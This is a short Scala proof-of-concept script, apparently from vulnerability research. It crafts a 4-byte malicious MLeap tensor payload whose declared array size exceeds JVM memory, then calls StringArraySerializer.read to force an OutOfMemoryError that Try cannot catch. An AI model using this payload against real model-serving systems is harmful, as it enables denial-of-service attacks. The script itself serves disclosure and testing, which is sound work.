| import ml.combust.bundle.tensor.StringArraySerializer |
| import java.io.{ByteArrayInputStream, DataInputStream} |
| import java.nio.{ByteBuffer, ByteOrder} |
|
|
| val maxMem = Runtime.getRuntime.maxMemory() |
| println(s"JVM Runtime.getRuntime.maxMemory() for THIS console session = $maxMem bytes (~${maxMem / (1024*1024)} MB)") |
|
|
| |
| |
| |
| |
| |
| val requestedSize: Int = { |
| val candidate = maxMem + 200L * 1024 * 1024 |
| if (candidate > Int.MaxValue - 16) Int.MaxValue - 16 else candidate.toInt |
| } |
| println(s"Requested array size (attacker-controlled 4-byte int in the .mleap tensor) = $requestedSize bytes (~${requestedSize / (1024*1024)} MB)") |
|
|
| |
| |
| |
| |
| val buf = ByteBuffer.allocate(4).order(ByteOrder.BIG_ENDIAN) |
| buf.putInt(requestedSize) |
| val payload: Array[Byte] = buf.array() |
| println(s"Payload size actually present in the malicious .mleap tensor value: ${payload.length} bytes") |
|
|
| println("\n=== Calling the REAL library function StringArraySerializer.read(payload) directly ===") |
|
|
| |
| |
| |
| |
| |
| |
| |
| import scala.util.Try |
|
|
| print("[1] Try{ StringArraySerializer.read(payload) } ... ") |
| val tryResult = Try { |
| StringArraySerializer.read(payload) |
| } |
| tryResult match { |
| case scala.util.Success(v) => println(s"[UNEXPECTED SUCCESS] got: $v") |
| case scala.util.Failure(e) => println(s"[Try CAUGHT IT] ${e.getClass.getName}: ${e.getMessage}") |
| } |
|
|
| println("\n[2] raw catch (t: Throwable) as a control, to confirm the OOM is real and only a Throwable-level catch sees it:") |
| try { |
| val v = StringArraySerializer.read(payload) |
| println(s"[UNEXPECTED SUCCESS] got: $v") |
| } catch { |
| case t: Throwable => |
| println(s"[Throwable-level catch caught it] ${t.getClass.getName}: ${t.getMessage}") |
| } |
|
|
| println("\n=== DONE ===") |
|
|